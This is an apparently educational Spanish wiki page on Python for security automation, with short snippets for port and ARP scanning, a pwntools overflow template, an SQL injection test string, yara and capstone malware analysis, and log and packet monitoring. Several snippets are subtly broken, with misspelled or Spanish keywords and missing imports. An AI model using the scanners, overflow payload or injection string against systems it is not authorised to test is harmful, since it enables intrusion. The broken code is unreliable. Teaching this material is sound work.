[[hack_roadmap-0|Up]]
====== Python para la Automatización de Tareas de Seguridad ======
Python es un lenguaje de programación muy utilizado en la ciberseguridad debido
a su simplicidad, legibilidad y potente conjunto de bibliotecas. A continuación,
se describe cómo Python puede ser utilizado para automatizar diversas tareas de
seguridad, junto con ejemplos prácticos y recursos útiles.
===== Introducción a Python para Seguridad =====
==== Conceptos Clave ====
* **Python y Seguridad:** Python es ampliamente utilizado en el campo de la seguridad por su capacidad de automatizar tareas repetitivas y complejas.
* **Entornos de Desarrollo:** Instalación y configuración de entornos Python para tareas de seguridad.
==== Tareas Comunes ====
* **Instalación de Python:**
# En Debian/Ubuntu
sudo apt-get install python3 python3-pip
# En RHEL/CentOS
sudo yum install python3 python3-pip
* **Configuración de Entorno Virtual:**
python3 -m venv mi_entorno
source mi_entorno/bin/activate
==== Recursos ====
* [[https://www.python.org/|Python Official Website]]
* [[https://docs.python.org/3/library/venv.html|Python Virtual Environment Documentation]]
===== Escaneo y Recolección de Información =====
==== Conceptos Clave ====
* **Escaneo de Puertos:** Detectar puertos abiertos en un sistema objetivo.
* **Recolección de Información:** Obtención de datos sobre sistemas y redes.
==== Ejemplos y Tareas Comunes ====
* **Uso de ''socket'' para Escaneo de Puertos:**
import socket
def escanear_puertos(direccion_ip):
for puerto in range(1, 1025):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
resultado = sock.connect_ex((direccion_ip, puerto))
if resultado == 0:
print(f"Puerto {puerto}: Abierto")
sock.close()
escanear_puertos('192.168.1.1')
* **Uso de ''scapy'' para Recolección de Información:**
from scapy.all import ARP, Ether, srp
def escanear_red(rango_ip):
arp = ARP(pdst=rango_ip)
ether = Ether(dst="ff:ff:ff:ff:ff:ff")
paquete = ether/arp
resultado = srp(paquete, timeout=2, verbose=0)[0]
dispositivos = []
for enviado, recibido in resultado:
dispositivos.append({'ip': recibido.psrc, 'mac': recibido.hwsrc})
for dispositivo in dispositivos:
print(f"IP: {dispositivo['ip']}, MAC: {dispositivo['mac']}")
escanear_red("192.168.1.0/24")
==== Recursos ====
* [[https://docs.python.org/3/library/socket.html|Python Socket Documentation]]
* [[https://scapy.readthedocs.io/en/latest/|Scapy Documentation]]
===== Explotación y Pruebas de Penetración =====
==== Conceptos Clave ====
* **Explotación de Vulnerabilidades:** Uso de scripts y herramientas para explotar vulnerabilidades conocidas.
* **Pruebas de Penetración:** Evaluación de la seguridad de un sistema mediante ataques controlados.
==== Ejemplos y Tareas Comunes ====
* **Uso de ''pwntools'' para Explotación de Vulnerabilidades:**
from pwn import *
contexto(arch='i386', os='linux')
sh = remote('victima.com', 1234)
payload = b'A' * 32
payload += p32(0xdeadbeef)
sh.sendline(payload)
sh.interactive()
* **Uso de ''requests'' para Pruebas de Penetración:**
import requests
def probar_sql_inyeccion(url):
payload = "' OR '1'='1"
response = requests.get(f"{url}?id={payload}")
if "Nombre del usuario" in response.text:
print("Vulnerable a SQL Injection")
else:
print("No Vulnerable")
probar_sql_inyeccion('http://victima.com/buscar')
==== Recursos ====
* [[https://docs.pwntools.com/en/stable/|Pwntools Documentation]]
* [[https://docs.python-requests.org/en/latest/|Requests Documentation]]
===== Análisis de Malware =====
==== Conceptos Clave ====
* **Análisis Estático y Dinámico:** Evaluación de software malicioso sin ejecutarlo (estático) y durante su ejecución (dinámico).
* **Desensamblado y Depuración:** Uso de herramientas para analizar el código binario.
==== Ejemplos y Tareas Comunes ====
* **Análisis Estático con ''yara'':**
import yara
reglas = yara.compile(filepath='reglas.yara')
coincidencias = reglas.match('archivo_malicioso.exe')
for coincidencia in coincidencias:
print(f"Regla coincidida: {coincidencia.rule}")
* **Desensamblado con ''capstone'':**
from capstone import *
codigo = b"\x55\x48\x8b\x05\xb8\x13\x00\x00"
md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(codigo, 0x1000):
print(f"0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}")
==== Recursos ====
* [[https://yara.readthedocs.io/en/stable/|Yara Documentation]]
* [[http://www.capstone-engine.org/documentation.html|Capstone Documentation]]
===== Monitoreo y Detección de Intrusos =====
==== Conceptos Clave ====
* **SIEM (Security Information and Event Management):** Herramientas y procesos para monitorizar eventos de seguridad.
* **IDS/IPS:** Sistemas de detección y prevención de intrusos.
==== Ejemplos y Tareas Comunes ====
* **Monitoreo de Logs con ''watchdog'':**
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
class LogHandler(FileSystemEventHandler):
def on_modified(self, event):
with open(event.src_path, 'r') as archivo:
lineas = archivo.readlines()
print(f"Nuevas líneas en {event.src_path}:")
for linea en lineas[-5:]:
print(linea.strip())
observer = Observer()
handler = LogHandler()
observer.schedule(handler, path='/var/log/', recursive=True)
observer.start()
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
observer.stop()
observer.join()
* **Detección de Intrusos con ''scapy'':**
from scapy.all import sniff
def detectar_intrusos(paquete):
if paquete.haslayer(TCP) and paquete[TCP].flags == "S":
print(f"Posible escaneo de puerto desde {paquete[IP].src}")
sniff(filter="tcp", prn=detectar_intrusos)
==== Recursos ====
* [[https://python-watchdog.readthedocs.io/en/latest/|Watchdog Documentation]]
* [[https://scapy.readthedocs.io/en/latest/usage.html#sniffing|Scapy Sniffing Documentation]]
===== Conclusión =====
Python es una herramienta poderosa para la automatización de tareas de
seguridad, proporcionando capacidades para escaneo de redes, explotación de
vulnerabilidades, análisis de malware y monitoreo de sistemas. Utilizando las
bibliotecas y técnicas descritas, los profesionales de la seguridad pueden
mejorar su eficiencia y eficacia en la protección de sistemas y redes. Los
recursos proporcionados ofrecen guías detalladas para profundizar en cada uno de
estos aspectos y mejorar tus habilidades en la automatización de tareas de
seguridad con Python.
===== Recursos Adicionales =====
* [[https://automatetheboringstuff.com/|Automate the Boring Stuff with Python]] (Al Sweigart)
* [[https://securityboulevard.com/2020/09/10-python-scripts-for-security-professionals/|Python for Cybersecurity]] (Security Boulevard)